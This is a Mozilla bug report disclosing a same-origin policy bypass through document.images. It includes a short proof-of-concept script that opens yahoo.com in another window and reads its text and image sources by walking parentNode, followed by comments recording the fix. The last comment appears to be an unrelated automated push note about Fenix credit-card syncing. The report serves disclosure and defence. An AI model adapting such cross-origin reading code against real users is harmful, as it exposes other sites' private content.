17537 - document.images vulnerabilities

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

document.images is not protected by "Same origin" security policy, which leads
to the following vulnerabilities:

1) Exposing the DOM of arbitrary documents (by using "parentNode") - at least
reading arbitrary documents
2) Browsing the images of arbitrary documents.

The code is:
----------------------------------------------------------
function f(o)
{
 var s='';
 var i;
 s = o.nodeValue;
 if ( o.childNodes )
    for ( i = 0; i < o.childNodes.length; i++ )
       s += f(o.childNodes[i]);
return s;
}

function f2()
{
alert("The text
is:\n"+f(a.document.images[0].parentNode.parentNode.parentNode.parentNode.parent
Node));
alert("The first image is: '"+a.document.images[0].src+"'");
}


a=window.open("http://www.yahoo.com");
setTimeout("f2()",10000);

----------------------------------------------------------

Comment 1

[Norris Boyd]

Made "parentNode" subject to a same-origin test.

Comment 2

[John Unruh]

Verified fixed.

Comment 3

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 4

[Pulsebot]

Pushed by ffxbld-merge:
https://hg.mozilla.org/releases/mozilla-beta/rev/6d7315ab6331
[fenix] For https://github.com/mozilla-mobile/fenix/issues/17537: Add preferences for syncing credit cards and addresses (https://github.com/mozilla-mobile/fenix/pull/19471)